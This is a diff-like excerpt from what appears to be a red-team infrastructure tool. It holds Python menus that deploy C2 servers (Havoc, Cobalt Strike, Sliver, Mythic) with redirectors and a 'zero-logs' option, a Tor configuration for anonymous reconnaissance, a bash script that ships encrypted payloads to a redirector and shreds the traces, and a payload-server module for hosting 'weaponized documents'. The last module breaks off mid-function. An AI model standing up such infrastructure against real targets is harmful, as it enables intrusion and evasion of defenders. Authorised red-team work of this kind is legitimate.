- Notes: {{ work_dir }}/notes/
|
||||
- Loot: {{ work_dir }}/loot/
|
||||
|
||||
Add tools as needed: apt install <tool>
|
||||
dest: /root/QUICK_RECON_GUIDE.txt
|
||||
mode: '0644'
|
||||
|
||||
- name: Final setup completion message
|
||||
debug:
|
||||
msg: |
|
||||
================================================================
|
||||
QUICK RECON BOX SETUP COMPLETE!
|
||||
================================================================
|
||||
|
||||
Basic tools installed:
|
||||
✓ nmap, netcat, curl, wget, dig, whois, traceroute
|
||||
✓ python3, git, vim, tmux, jq
|
||||
|
||||
OPSEC features enabled:
|
||||
✓ Tor proxy (localhost:9050)
|
||||
✓ Torsocks for anonymous operations
|
||||
✓ Proxychains4 configured
|
||||
{% if setup_vpn | default(false) %}✓ OpenVPN server ready{% endif %}
|
||||
{% if setup_domain | default(false) %}✓ Domain {{ domain }} configured{% endif %}
|
||||
|
||||
Quick commands:
|
||||
✓ tor-nmap, tor-curl, tor-dig for anonymous recon
|
||||
✓ check-tor to verify anonymity
|
||||
✓ qr to go to working directory
|
||||
|
||||
Quick Reference: /root/QUICK_RECON_GUIDE.txt
|
||||
Working Directory: {{ work_dir }}
|
||||
|
||||
Ready for additional tool installation as needed!
|
||||
================================================================
|
||||
@@ -0,0 +1,36 @@
|
||||
# Tor configuration for Quick Recon Box
|
||||
# Generated: {{ ansible_date_time.iso8601 }}
|
||||
|
||||
# Basic Tor configuration
|
||||
DataDirectory /var/lib/tor
|
||||
PidFile /var/run/tor/tor.pid
|
||||
RunAsDaemon 1
|
||||
User debian-tor
|
||||
|
||||
# Logging
|
||||
Log notice file /var/log/tor/notices.log
|
||||
|
||||
# SOCKS proxy for applications
|
||||
SocksPort 9050
|
||||
SocksPolicy accept *
|
||||
|
||||
# Control port for advanced usage
|
||||
ControlPort 9051
|
||||
CookieAuthentication 1
|
||||
|
||||
# Circuit settings for better anonymity
|
||||
NewCircuitPeriod 30
|
||||
MaxCircuitDirtiness 600
|
||||
UseEntryGuards 1
|
||||
|
||||
# Exit policy - allow common ports for recon
|
||||
ExitPolicy accept *:53 # DNS
|
||||
ExitPolicy accept *:80 # HTTP
|
||||
ExitPolicy accept *:443 # HTTPS
|
||||
ExitPolicy accept *:993 # IMAPS
|
||||
ExitPolicy accept *:995 # POP3S
|
||||
ExitPolicy reject *:*
|
||||
|
||||
# Performance tuning for reconnaissance
|
||||
CircuitBuildTimeout 10
|
||||
LearnCircuitBuildTimeout 0
|
||||
@@ -0,0 +1,316 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
C2 infrastructure deployment module
|
||||
"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import logging
|
||||
|
||||
# Add the project root to the path so we can import utils
|
||||
sys.path.append(os.path.join(os.path.dirname(__file__), '..', '..'))
|
||||
|
||||
from utils.common import (
|
||||
COLORS, clear_screen, print_banner, generate_deployment_id,
|
||||
setup_logging, get_public_ip, confirm_action, wait_for_input,
|
||||
archive_old_logs
|
||||
)
|
||||
from utils.provider_utils import select_provider, gather_provider_config
|
||||
from utils.ssh_utils import generate_ssh_key
|
||||
from utils.naming_utils import get_deployment_name_with_options
|
||||
|
||||
def gather_c2_parameters():
|
||||
"""Collect parameters specific to C2 deployments"""
|
||||
clear_screen()
|
||||
print_banner()
|
||||
print(f"{COLORS['WHITE']}C2 INFRASTRUCTURE SETUP{COLORS['RESET']}")
|
||||
print(f"{COLORS['WHITE']}========================{COLORS['RESET']}")
|
||||
|
||||
config = {}
|
||||
|
||||
# Generate deployment ID
|
||||
config['deployment_id'] = generate_deployment_id()
|
||||
print(f"Deployment ID: {COLORS['CYAN']}{config['deployment_id']}{COLORS['RESET']}")
|
||||
|
||||
# Provider selection
|
||||
provider = select_provider()
|
||||
if not provider:
|
||||
return None
|
||||
config['provider'] = provider
|
||||
|
||||
# Get provider-specific configuration
|
||||
provider_config = gather_provider_config(provider)
|
||||
if not provider_config:
|
||||
return None
|
||||
config.update(provider_config)
|
||||
|
||||
# C2-specific configuration
|
||||
print(f"\n{COLORS['BLUE']}C2 Configuration{COLORS['RESET']}")
|
||||
|
||||
# Domain configuration
|
||||
domain = input(f"Domain for C2 infrastructure [required]: ")
|
||||
if not domain:
|
||||
print(f"{COLORS['RED']}A domain is required for C2 deployments{COLORS['RESET']}")
|
||||
return None
|
||||
config['domain'] = domain
|
||||
|
||||
# Subdomain configuration
|
||||
config['c2_subdomain'] = input("C2 server subdomain [default: mail]: ") or "mail"
|
||||
|
||||
# Instance naming options
|
||||
config['redirector_name'] = get_deployment_name_with_options(
|
||||
deployment_type='redirector',
|
||||
deployment_id=config['deployment_id'],
|
||||
prefix='r-'
|
||||
)
|
||||
|
||||
config['c2_name'] = get_deployment_name_with_options(
|
||||
deployment_type='c2',
|
||||
deployment_id=config['deployment_id'],
|
||||
prefix='s-'
|
||||
)
|
||||
|
||||
# C2 Framework selection
|
||||
print(f"\n{COLORS['BLUE']}C2 Framework Selection:{COLORS['RESET']}")
|
||||
print(f"1) Havoc")
|
||||
print(f"2) Cobalt Strike")
|
||||
print(f"3) Sliver")
|
||||
print(f"4) Mythic")
|
||||
print(f"5) Custom")
|
||||
|
||||
framework_choice = input("Select C2 framework [default: 1]: ") or "1"
|
||||
frameworks = {
|
||||
"1": "havoc",
|
||||
"2": "cobaltstrike",
|
||||
"3": "sliver",
|
||||
"4": "mythic",
|
||||
"5": "custom"
|
||||
}
|
||||
config['c2_framework'] = frameworks.get(framework_choice, "havoc")
|
||||
|
||||
# Email for Let's Encrypt
|
||||
default_email = f"admin@{config['domain']}"
|
||||
config['letsencrypt_email'] = input(f"Email for Let's Encrypt [default: {default_email}]: ") or default_email
|
||||
|
||||
# Get operator IP for security
|
||||
suggested_ip = get_public_ip()
|
||||
if suggested_ip:
|
||||
operator_ip = input(f"Your public IP for secure access [detected: {suggested_ip}]: ") or suggested_ip
|
||||
else:
|
||||
operator_ip = input("Your public IP for secure access: ")
|
||||
config['operator_ip'] = operator_ip
|
||||
|
||||
# SSH key generation
|
||||
ssh_key_path = generate_ssh_key(config['deployment_id'])
|
||||
if not ssh_key_path:
|
||||
print(f"{COLORS['RED']}Failed to generate SSH key{COLORS['RESET']}")
|
||||
return None
|
||||
config['ssh_key_path'] = f"{ssh_key_path}.pub"
|
||||
|
||||
# SMTP Configuration for email services
|
||||
print(f"\n{COLORS['BLUE']}SMTP Configuration{COLORS['RESET']}")
|
||||
config['smtp_auth_user'] = input("SMTP authentication username [default: admin]: ") or "admin"
|
||||
|
||||
import secrets
|
||||
import string
|
||||
def generate_random_password(length=16):
|
||||
alphabet = string.ascii_letters + string.digits + "!@#$%^&*"
|
||||
password = ''.join(secrets.choice(alphabet) for _ in range(length))
|
||||
return password
|
||||
|
||||
default_password = generate_random_password()
|
||||
smtp_password = input(f"SMTP authentication password [default: random generated]: ")
|
||||
config['smtp_auth_pass'] = smtp_password if smtp_password else default_password
|
||||
|
||||
print(f"{COLORS['GREEN']}SMTP Credentials:{COLORS['RESET']}")
|
||||
print(f" Username: {config['smtp_auth_user']}")
|
||||
print(f" Password: {config['smtp_auth_pass']}")
|
||||
print(f"{COLORS['YELLOW']}Note: These credentials will be saved in the deployment info file{COLORS['RESET']}")
|
||||
|
||||
# Security Configuration
|
||||
print(f"\n{COLORS['BLUE']}Security Configuration{COLORS['RESET']}")
|
||||
zero_logs_choice = input("Enable zero-logs configuration? (y/n) [default: y]: ").lower()
|
||||
config['zero_logs'] = zero_logs_choice != 'n' # Default to True unless explicitly 'n'
|
||||
|
||||
# Post-deployment options
|
||||
config['ssh_after_deploy'] = confirm_action("SSH into instance after deployment?", default=True)
|
||||
|
||||
return config
|
||||
|
||||
def c2_menu():
|
||||
"""Display the C2 submenu and handle user selection"""
|
||||
while True:
|
||||
clear_screen()
|
||||
print_banner()
|
||||
print(f"{COLORS['WHITE']}C2 INFRASTRUCTURE MENU{COLORS['RESET']}")
|
||||
print(f"{COLORS['WHITE']}======================={COLORS['RESET']}")
|
||||
print(f"1) C2 Server Only {COLORS['GREEN']}*QUICK*{COLORS['RESET']} {COLORS['GRAY']}(Basic setup){COLORS['RESET']}")
|
||||
print(f"2) Havoc C2 Server {COLORS['GRAY']}(Modern C2 framework){COLORS['RESET']}")
|
||||
print(f"3) Sliver Server {COLORS['GRAY']}(Go-based C2){COLORS['RESET']}")
|
||||
print(f"4) Cobalt Strike Server {COLORS['GRAY']}(Commercial C2){COLORS['RESET']}")
|
||||
print(f"5) Mythic Server {COLORS['GRAY']}(Cross-platform C2){COLORS['RESET']}")
|
||||
print(f"6) C2 + Redirector {COLORS['GRAY']}(C2 with traffic redirection){COLORS['RESET']}")
|
||||
print(f"7) Full C2 Infrastructure {COLORS['GRAY']}(Complete multi-tier setup){COLORS['RESET']}")
|
||||
print(f"99) Return to Main Menu")
|
||||
|
||||
choice = input(f"\nSelect an option: ")
|
||||
|
||||
if choice == "1":
|
||||
deploy_c2_only()
|
||||
elif choice == "2":
|
||||
deploy_havoc_c2()
|
||||
elif choice == "3":
|
||||
deploy_sliver_c2()
|
||||
elif choice == "4":
|
||||
deploy_cobaltstrike_c2()
|
||||
elif choice == "5":
|
||||
deploy_mythic_c2()
|
||||
elif choice == "6":
|
||||
deploy_c2_with_redirector()
|
||||
elif choice == "7":
|
||||
deploy_full_c2()
|
||||
elif choice == "99":
|
||||
return
|
||||
else:
|
||||
print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}")
|
||||
wait_for_input()
|
||||
|
||||
def deploy_c2_only():
|
||||
"""Deploy C2 server only"""
|
||||
config = gather_c2_parameters()
|
||||
if not config:
|
||||
return
|
||||
|
||||
config['deployment_type'] = 'c2_only'
|
||||
config['c2_only'] = True
|
||||
|
||||
print(f"\n{COLORS['GREEN']}Deploying C2 server only...{COLORS['RESET']}")
|
||||
execute_c2_deployment(config)
|
||||
|
||||
def deploy_c2_with_redirector():
|
||||
"""Deploy C2 server with redirector"""
|
||||
config = gather_c2_parameters()
|
||||
if not config:
|
||||
return
|
||||
|
||||
# Additional redirector configuration
|
||||
config['redirector_subdomain'] = input("Redirector subdomain [default: cdn]: ") or "cdn"
|
||||
|
||||
config['deployment_type'] = 'c2_with_redirector'
|
||||
config['deploy_redirector'] = True
|
||||
|
||||
print(f"\n{COLORS['GREEN']}Deploying C2 server with redirector...{COLORS['RESET']}")
|
||||
execute_c2_deployment(config)
|
||||
|
||||
def deploy_full_c2():
|
||||
"""Deploy full C2 infrastructure"""
|
||||
config = gather_c2_parameters()
|
||||
if not config:
|
||||
return
|
||||
|
||||
# Additional configuration for full deployment
|
||||
config['redirector_subdomain'] = input("Redirector subdomain [default: cdn]: ") or "cdn"
|
||||
|
||||
config['deployment_type'] = 'full_c2'
|
||||
config['deploy_redirector'] = True
|
||||
config['deploy_tracker'] = confirm_action("Deploy email tracker?", default=False)
|
||||
|
||||
print(f"\n{COLORS['GREEN']}Deploying full C2 infrastructure...{COLORS['RESET']}")
|
||||
execute_c2_deployment(config)
|
||||
|
||||
def deploy_havoc_c2():
|
||||
"""Deploy Havoc C2 server specifically"""
|
||||
config = gather_c2_parameters()
|
||||
if not config:
|
||||
return
|
||||
|
||||
config['c2_framework'] = 'havoc'
|
||||
config['deployment_type'] = 'havoc_c2'
|
||||
|
||||
print(f"\n{COLORS['GREEN']}Deploying Havoc C2 server...{COLORS['RESET']}")
|
||||
execute_c2_deployment(config)
|
||||
|
||||
def deploy_cobaltstrike_c2():
|
||||
"""Deploy Cobalt Strike server specifically"""
|
||||
config = gather_c2_parameters()
|
||||
if not config:
|
||||
return
|
||||
|
||||
config['c2_framework'] = 'cobaltstrike'
|
||||
config['deployment_type'] = 'cobaltstrike_c2'
|
||||
|
||||
# Cobalt Strike specific configuration
|
||||
license_path = input("Path to Cobalt Strike license file [optional]: ")
|
||||
if license_path:
|
||||
config['cobaltstrike_license'] = license_path
|
||||
|
||||
print(f"\n{COLORS['GREEN']}Deploying Cobalt Strike server...{COLORS['RESET']}")
|
||||
execute_c2_deployment(config)
|
||||
|
||||
def deploy_sliver_c2():
|
||||
"""Deploy Sliver C2 server specifically"""
|
||||
config = gather_c2_parameters()
|
||||
if not config:
|
||||
return
|
||||
|
||||
config['c2_framework'] = 'sliver'
|
||||
config['deployment_type'] = 'sliver_c2'
|
||||
|
||||
print(f"\n{COLORS['GREEN']}Deploying Sliver C2 server...{COLORS['RESET']}")
|
||||
execute_c2_deployment(config)
|
||||
|
||||
def deploy_mythic_c2():
|
||||
"""Deploy Mythic C2 server specifically"""
|
||||
config = gather_c2_parameters()
|
||||
if not config:
|
||||
return
|
||||
|
||||
config['c2_framework'] = 'mythic'
|
||||
config['deployment_type'] = 'mythic_c2'
|
||||
|
||||
print(f"\n{COLORS['GREEN']}Deploying Mythic C2 server...{COLORS['RESET']}")
|
||||
execute_c2_deployment(config)
|
||||
|
||||
def execute_c2_deployment(config):
|
||||
"""Execute C2 infrastructure deployment"""
|
||||
clear_screen()
|
||||
print_banner()
|
||||
print(f"\n{COLORS['GREEN']}Starting C2 deployment...{COLORS['RESET']}")
|
||||
|
||||
# Archive old logs before starting new deployment
|
||||
print(f"Archiving old logs...")
|
||||
archive_old_logs(max_logs_to_keep=5) # Keep last 5 deployments
|
||||
|
||||
# Set up logging
|
||||
log_file = setup_logging(config['deployment_id'], "c2_deployment")
|
||||
|
||||
# Display configuration summary
|
||||
print(f"\n{COLORS['CYAN']}Deployment Summary:{COLORS['RESET']}")
|
||||
print(f"Deployment Type: {config['deployment_type']}")
|
||||
print(f"Deployment ID: {config['deployment_id']}")
|
||||
print(f"Provider: {config['provider']}")
|
||||
print(f"Domain: {config['domain']}")
|
||||
print(f"C2 Framework: {config['c2_framework']}")
|
||||
|
||||
# Confirm deployment
|
||||
if not confirm_action(f"\n{COLORS['YELLOW']}Proceed with C2 deployment?{COLORS['RESET']}", default=False):
|
||||
print(f"\n{COLORS['YELLOW']}Deployment cancelled.{COLORS['RESET']}")
|
||||
return
|
||||
|
||||
# Execute the actual deployment using the deployment engine
|
||||
from utils.deployment_engine import deploy_infrastructure
|
||||
success = deploy_infrastructure(config)
|
||||
|
||||
if success:
|
||||
print(f"\n{COLORS['GREEN']}C2 infrastructure deployed successfully!{COLORS['RESET']}")
|
||||
|
||||
if config.get('ssh_after_deploy'):
|
||||
from utils.ssh_utils import ssh_to_instance
|
||||
ssh_to_instance(config)
|
||||
else:
|
||||
print(f"\n{COLORS['RED']}C2 infrastructure deployment failed.{COLORS['RESET']}")
|
||||
|
||||
wait_for_input()
|
||||
|
||||
if __name__ == "__main__":
|
||||
c2_menu()
|
||||
@@ -0,0 +1,150 @@
|
||||
#!/bin/bash
|
||||
# secure_payload_sync.sh - OPSEC-focused payload distribution
|
||||
|
||||
# Configuration
|
||||
C2_PAYLOAD_DIR="/root/Tools/Havoc/payloads"
|
||||
REDIRECTOR_IP="{{ redirector_ip }}"
|
||||
REDIRECTOR_USER="root"
|
||||
SSH_KEY_PATH="/root/.ssh/id_ed25519"
|
||||
REMOTE_PAYLOAD_DIR="/var/www/resources"
|
||||
ENCRYPTED_TRANSFER=true
|
||||
LOG_FILE="/root/Tools/logs/payload_sync.log"
|
||||
LOG_RETENTION_DAYS=3
|
||||
MAX_RANDOM_DELAY=300 # Max random delay in seconds
|
||||
|
||||
# Create minimal timestamped log with auto-rotation
|
||||
log() {
|
||||
mkdir -p $(dirname $LOG_FILE)
|
||||
echo "$(date "+%Y-%m-%d %H:%M:%S") - $1" >> $LOG_FILE
|
||||
find $(dirname $LOG_FILE) -name "*.log" -mtime +$LOG_RETENTION_DAYS -delete 2>/dev/null
|
||||
}
|
||||
|
||||
# Add random delay for OPSEC
|
||||
sleep_random() {
|
||||
DELAY=$((RANDOM % $MAX_RANDOM_DELAY))
|
||||
log "Adding random delay of $DELAY seconds"
|
||||
sleep $DELAY
|
||||
}
|
||||
|
||||
# Generate payload manifest and check for changes
|
||||
check_for_changes() {
|
||||
if [ ! -d "$C2_PAYLOAD_DIR" ]; then
|
||||
log "ERROR: Payload directory not found"
|
||||
return 1
|
||||
fi
|
||||
|
||||
TMP_DIR=$(mktemp -d)
|
||||
MANIFEST_FILE="$TMP_DIR/manifest"
|
||||
find $C2_PAYLOAD_DIR -type f -exec sha256sum {} \; | sort > $MANIFEST_FILE
|
||||
|
||||
CURRENT_HASH=$(sha256sum $MANIFEST_FILE | awk '{print $1}')
|
||||
HASH_FILE="/root/Tools/.payload_hash"
|
||||
|
||||
if [ -f "$HASH_FILE" ] && [ "$(cat $HASH_FILE)" == "$CURRENT_HASH" ]; then
|
||||
log "No payload changes detected"
|
||||
secure_delete $TMP_DIR
|
||||
return 1
|
||||
fi
|
||||
|
||||
echo $CURRENT_HASH > $HASH_FILE
|
||||
return 0
|
||||
}
|
||||
|
||||
# Secure deletion of files/directories
|
||||
secure_delete() {
|
||||
if [ -d "$1" ]; then
|
||||
find "$1" -type f -exec shred -n 3 -z -u {} \; 2>/dev/null
|
||||
rm -rf "$1" 2>/dev/null
|
||||
elif [ -f "$1" ]; then
|
||||
shred -n 3 -z -u "$1" 2>/dev/null
|
||||
fi
|
||||
}
|
||||
|
||||
# Encrypt archive with random password
|
||||
encrypt_archive() {
|
||||
SRC="$1"
|
||||
DEST="$2"
|
||||
|
||||
# Generate random password
|
||||
PASSWORD=$(head /dev/urandom | tr -dc 'a-zA-Z0-9' | head -c 32)
|
||||
PASS_FILE=$(mktemp)
|
||||
echo $PASSWORD > $PASS_FILE
|
||||
|
||||
# Encrypt the archive
|
||||
openssl enc -aes-256-cbc -salt -in "$SRC" -out "$DEST" -pass file:$PASS_FILE
|
||||
|
||||
# Store password temporarily for transfer
|
||||
echo $PASSWORD
|
||||
|
||||
# Securely delete password file
|
||||
secure_delete $PASS_FILE
|
||||
}
|
||||
|
||||
# Main execution
|
||||
main() {
|
||||
log "Starting secure payload sync"
|
||||
|
||||
# Add randomized timing
|
||||
sleep_random
|
||||
|
||||
# Check for payload changes
|
||||
check_for_changes || exit 0
|
||||
|
||||
# Generate random archive name for OPSEC
|
||||
RANDOM_ID=$(head /dev/urandom | tr -dc 'a-z0-9' | head -c 12)
|
||||
ARCHIVE_NAME="updates_${RANDOM_ID}.tar.gz"
|
||||
ENCRYPTED_NAME="${ARCHIVE_NAME}.enc"
|
||||
TEMP_DIR=$(mktemp -d)
|
||||
|
||||
# Create payload archive
|
||||
log "Creating payload archive"
|
||||
tar czf "$TEMP_DIR/$ARCHIVE_NAME" -C $(dirname $C2_PAYLOAD_DIR) $(basename $C2_PAYLOAD_DIR)
|
||||
|
||||
# Encrypt archive if enabled
|
||||
PASSWORD=""
|
||||
if [ "$ENCRYPTED_TRANSFER" = true ]; then
|
||||
log "Encrypting payload archive"
|
||||
PASSWORD=$(encrypt_archive "$TEMP_DIR/$ARCHIVE_NAME" "$TEMP_DIR/$ENCRYPTED_NAME")
|
||||
TRANSFER_FILE="$TEMP_DIR/$ENCRYPTED_NAME"
|
||||
else
|
||||
TRANSFER_FILE="$TEMP_DIR/$ARCHIVE_NAME"
|
||||
fi
|
||||
|
||||
# Transfer archive to redirector
|
||||
log "Transferring payloads to redirector"
|
||||
scp -i $SSH_KEY_PATH -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -q "$TRANSFER_FILE" "$REDIRECTOR_USER@$REDIRECTOR_IP:/tmp/$ENCRYPTED_NAME"
|
||||
|
||||
# Handle remote extraction with decryption if needed
|
||||
if [ "$ENCRYPTED_TRANSFER" = true ]; then
|
||||
REMOTE_CMD="
|
||||
mkdir -p $REMOTE_PAYLOAD_DIR
|
||||
TEMP_DIR=\$(mktemp -d)
|
||||
openssl enc -aes-256-cbc -d -in /tmp/$ENCRYPTED_NAME -out \$TEMP_DIR/$ARCHIVE_NAME -pass pass:\"$PASSWORD\"
|
||||
tar xzf \$TEMP_DIR/$ARCHIVE_NAME -C /var/www/
|
||||
# Clean up
|
||||
shred -n 3 -z -u /tmp/$ENCRYPTED_NAME \$TEMP_DIR/$ARCHIVE_NAME 2>/dev/null
|
||||
rm -rf \$TEMP_DIR
|
||||
# Update web server if needed
|
||||
systemctl reload nginx 2>/dev/null
|
||||
"
|
||||
else
|
||||
REMOTE_CMD="
|
||||
mkdir -p $REMOTE_PAYLOAD_DIR
|
||||
tar xzf /tmp/$ENCRYPTED_NAME -C /var/www/
|
||||
shred -n 3 -z -u /tmp/$ENCRYPTED_NAME 2>/dev/null
|
||||
systemctl reload nginx 2>/dev/null
|
||||
"
|
||||
fi
|
||||
|
||||
# Execute command on redirector
|
||||
ssh -i $SSH_KEY_PATH -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null "$REDIRECTOR_USER@$REDIRECTOR_IP" "$REMOTE_CMD"
|
||||
|
||||
# Clean up local temp files
|
||||
log "Cleaning up temporary files"
|
||||
secure_delete $TEMP_DIR
|
||||
|
||||
log "Payload sync completed successfully"
|
||||
}
|
||||
|
||||
# Run main function
|
||||
main
|
||||
@@ -110,15 +110,15 @@
|
||||
owner: root
|
||||
group: root
|
||||
with_items:
|
||||
- "../files/clean-logs.sh"
|
||||
- "../files/secure-exit.sh"
|
||||
- "../../../common/files/clean-logs.sh"
|
||||
- "../../../common/files/secure-exit.sh"
|
||||
- "../files/havoc_installer.sh"
|
||||
- "../files/havoc_shell_handler.sh"
|
||||
- "../files/secure_payload_sync.sh"
|
||||
|
||||
- name: Copy post-install script
|
||||
copy:
|
||||
src: "../files/post_install_c2.sh"
|
||||
src: "../../../common/files/post_install_c2.sh"
|
||||
dest: "/root/Tools/post_install_c2.sh"
|
||||
mode: '0700'
|
||||
owner: root
|
||||
@@ -126,7 +126,7 @@
|
||||
|
||||
- name: Copy port randomization script
|
||||
copy:
|
||||
src: "../files/randomize_ports.sh"
|
||||
src: "../../../common/files/randomize_ports.sh"
|
||||
dest: "/root/Tools/randomize_ports.sh"
|
||||
mode: '0700'
|
||||
owner: root
|
||||
@@ -271,7 +271,7 @@
|
||||
|
||||
- name: Create NGINX configuration fragment for redirector
|
||||
template:
|
||||
src: "../templates/redirector-havoc-fragment.j2"
|
||||
src: "../../redirectors/templates/redirector-havoc-fragment.j2"
|
||||
dest: "/root/Tools/redirector-config.conf"
|
||||
mode: '0644'
|
||||
owner: root
|
||||
@@ -300,7 +300,7 @@
|
||||
minute: "0"
|
||||
hour: "*/6"
|
||||
job: "/root/Tools/clean-logs.sh > /dev/null 2>&1"
|
||||
when: zero_logs | bool
|
||||
when: zero_logs is defined and zero_logs | bool
|
||||
|
||||
- name: Ensure SSH key for redirector access is available
|
||||
block:
|
||||
|
||||
@@ -0,0 +1,345 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
Payload server infrastructure deployment module
|
||||
"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import logging
|
||||
|
||||
# Add the project root to the path so we can import utils
|
||||
sys.path.append(os.path.join(os.path.dirname(__file__), '..', '..'))
|
||||
|
||||
from utils.common import (
|
||||
COLORS, clear_screen, print_banner, generate_deployment_id,
|
||||
setup_logging, get_public_ip, confirm_action, wait_for_input
|
||||
)
|
||||
from utils.provider_utils import select_provider, gather_provider_config
|
||||
from utils.ssh_utils import generate_ssh_key
|
||||
|
||||
def gather_payload_parameters():
|
||||
"""Collect parameters specific to payload server deployments"""
|
||||
clear_screen()
|
||||
print_banner()
|
||||
print(f"{COLORS['WHITE']}PAYLOAD SERVER SETUP{COLORS['RESET']}")
|
||||
print(f"{COLORS['WHITE']}===================={COLORS['RESET']}")
|
||||
|
||||
config = {}
|
||||
|
||||
# Generate deployment ID
|
||||
config['deployment_id'] = generate_deployment_id()
|
||||
print(f"Deployment ID: {COLORS['CYAN']}{config['deployment_id']}{COLORS['RESET']}")
|
||||
|
||||
# Provider selection
|
||||
provider = select_provider()
|
||||
if not provider:
|
||||
return None
|
||||
config['provider'] = provider
|
||||
|
||||
# Get provider-specific configuration
|
||||
provider_config = gather_provider_config(provider)
|
||||
if not provider_config:
|
||||
return None
|
||||
config.update(provider_config)
|
||||
|
||||
# Payload-specific configuration
|
||||
print(f"\n{COLORS['BLUE']}Payload Server Configuration{COLORS['RESET']}")
|
||||
|
||||
# Domain configuration
|
||||
domain = input(f"Domain for payload server [required]: ")
|
||||
if not domain:
|
||||
print(f"{COLORS['RED']}A domain is required for payload server deployments{COLORS['RESET']}")
|
||||
return None
|
||||
config['domain'] = domain
|
||||
|
||||
# Subdomain configuration
|
||||
config['payload_subdomain'] = input("Payload server subdomain [default: cdn]: ") or "cdn"
|
||||
|
||||
# Payload types
|
||||
print(f"\n{COLORS['BLUE']}Payload Types to Host:{COLORS['RESET']}")
|
||||
config['host_executables'] = confirm_action("Host Windows executables?", default=True)
|
||||
config['host_scripts'] = confirm_action("Host PowerShell/Python scripts?", default=True)
|
||||
config['host_documents'] = confirm_action("Host weaponized documents?", default=False)
|
||||
config['host_mobile'] = confirm_action("Host mobile payloads (APK/IPA)?", default=False)
|
||||
|
||||
# Security options
|
||||
print(f"\n{COLORS['BLUE']}Security Options:{COLORS['RESET']}")
|
||||
config['enable_basic_auth'] = confirm_action("Enable basic authentication?", default=True)
|
||||
config['enable_ip_filtering'] = confirm_action("Enable IP filtering?", default=True)
|
||||
config['enable_user_agent_filtering'] = confirm_action("Enable User-Agent filtering?", default=True)
|
||||
config['enable_rate_limiting'] = confirm_action("Enable rate limiting?", default=True)
|
||||
|
||||
# Payload generation
|
||||
config['auto_generate_payloads'] = confirm_action("Auto-generate common payloads?", default=False)
|
||||
|
||||
# Email for Let's Encrypt
|
||||
default_email = f"admin@{config['domain']}"
|
||||
config['letsencrypt_email'] = input(f"Email for Let's Encrypt [default: {default_email}]: ") or default_email
|
||||
|
||||
# Get operator IP for security
|
||||
suggested_ip = get_public_ip()
|
||||
if suggested_ip:
|
||||
operator_ip = input(f"Your public IP for secure access [detected: {suggested_ip}]: ") or suggested_ip
|
||||
else:
|
||||
operator_ip = input("Your public IP for secure access: ")
|
||||
config['operator_ip'] = operator_ip
|
||||
|
||||
# SSH key generation
|
||||
ssh_key_path = generate_ssh_key(config['deployment_id'])
|
||||
if not ssh_key_path:
|
||||
print(f"{COLORS['RED']}Failed to generate SSH key{COLORS['RESET']}")
|
||||
return None
|
||||
config['ssh_key_path'] = f"{ssh_key_path}.pub"
|
||||
|
||||
# Post-deployment options
|
||||
config['ssh_after_deploy'] = confirm_action("SSH into instance after deployment?", default=True)
|
||||
|
||||
return config
|
||||
|
||||
def payload_menu():
|
||||
"""Display the payload server submenu and handle user selection"""
|
||||
while True:
|
||||
clear_screen()
|
||||
print_banner()
|
||||
print(f"{COLORS['WHITE']}PAYLOAD SERVER MENU{COLORS['RESET']}")
|
||||
print(f"{COLORS['WHITE']}==================={COLORS['RESET']}")
|
||||
print(f"1) Basic Payload Server {COLORS['GREEN']}*SIMPLE*{COLORS['RESET']} {COLORS['GRAY']}(Quick setup){COLORS['RESET']}")
|
||||
print(f"2) Multi-Format Payload Server {COLORS['GRAY']}(Supports multiple payload types){COLORS['RESET']}")
|
||||
print(f"3) Document Payload Server {COLORS['GRAY']}(Specialized for document payloads){COLORS['RESET']}")
|
||||
print(f"4) Mobile Payload Server {COLORS['GRAY']}(Mobile-focused payloads){COLORS['RESET']}")
|
||||
print(f"5) Secure Payload Server {COLORS['GRAY']}(Auth + filtering){COLORS['RESET']}")
|
||||
print(f"6) Payload Server with Redirector {COLORS['GRAY']}(With traffic redirection){COLORS['RESET']}")
|
||||
print(f"99) Return to Main Menu")
|
||||
|
||||
choice = input(f"\nSelect an option: ")
|
||||
|
||||
if choice == "1":
|
||||
deploy_basic_payload_server()
|
||||
elif choice == "2":
|
||||
deploy_multi_format_payload_server()
|
||||
elif choice == "3":
|
||||
deploy_document_payload_server()
|
||||
elif choice == "4":
|
||||
deploy_mobile_payload_server()
|
||||
elif choice == "5":
|
||||
deploy_secure_payload_server()
|
||||
elif choice == "6":
|
||||
deploy_payload_server_with_redirector()
|
||||
elif choice == "99":
|
||||
return
|
||||
else:
|
||||
print(f"\n{COLORS['RED']}Invalid option. Please try again.{COLORS['RESET']}")
|
||||
wait_for_input()
|
||||
|
||||
def deploy_basic_payload_server():
|
||||
"""Deploy basic payload server"""
|
||||
config = gather_payload_parameters()
|
||||
if not config:
|
||||
return
|
||||
|
||||
config['deployment_type'] = 'basic_payload_server'
|
||||
config['enable_basic_auth'] = False
|
||||
config['enable_ip_filtering'] = False
|
||||
config['enable_user_agent_filtering'] = False
|
||||
|
||||
print(f"\n{COLORS['GREEN']}Deploying basic payload server...{COLORS['RESET']}")
|
||||
execute_payload_deployment(config)
|
||||
|
||||
def deploy_payload_server_with_redirector():
|
||||
"""Deploy payload server with redirector"""
|
||||
config = gather_payload_parameters()
|
||||
if not config:
|
||||
return
|
||||
|
||||
# Additional redirector configuration
|
||||
config['redirector_subdomain'] = input("Redirector subdomain [default: dl]: ") or "dl"
|
||||
|
||||
config['deployment_type'] = 'payload_server_with_redirector'
|
||||
config['deploy_redirector'] = True
|
||||
|
||||
print(f"\n{COLORS['GREEN']}Deploying payload server with redirector...{COLORS['RESET']}")
|
||||
execute_payload_deployment(config)
|
||||
|
||||
def deploy_secure_payload_server():
|
||||
"""Deploy secure payload server with authentication and filtering"""
|
||||
config = gather_payload_parameters()
|
||||
if not config:
|
||||
return
|
||||
|
||||
config['deployment_type'] = 'secure_payload_server'
|
||||
config['enable_basic_auth'] = True
|
||||
config['enable_ip_filtering'] = True
|
||||
config['enable_user_agent_filtering'] = True
|
||||
config['enable_rate_limiting'] = True
|
||||
|
||||
# Additional security configuration
|
||||
config['auth_username'] = input("Basic auth username [default: admin]: ") or "admin"
|
||||
config['auth_password'] = input("Basic auth password [default: random]: ") or None
|
||||
|
||||
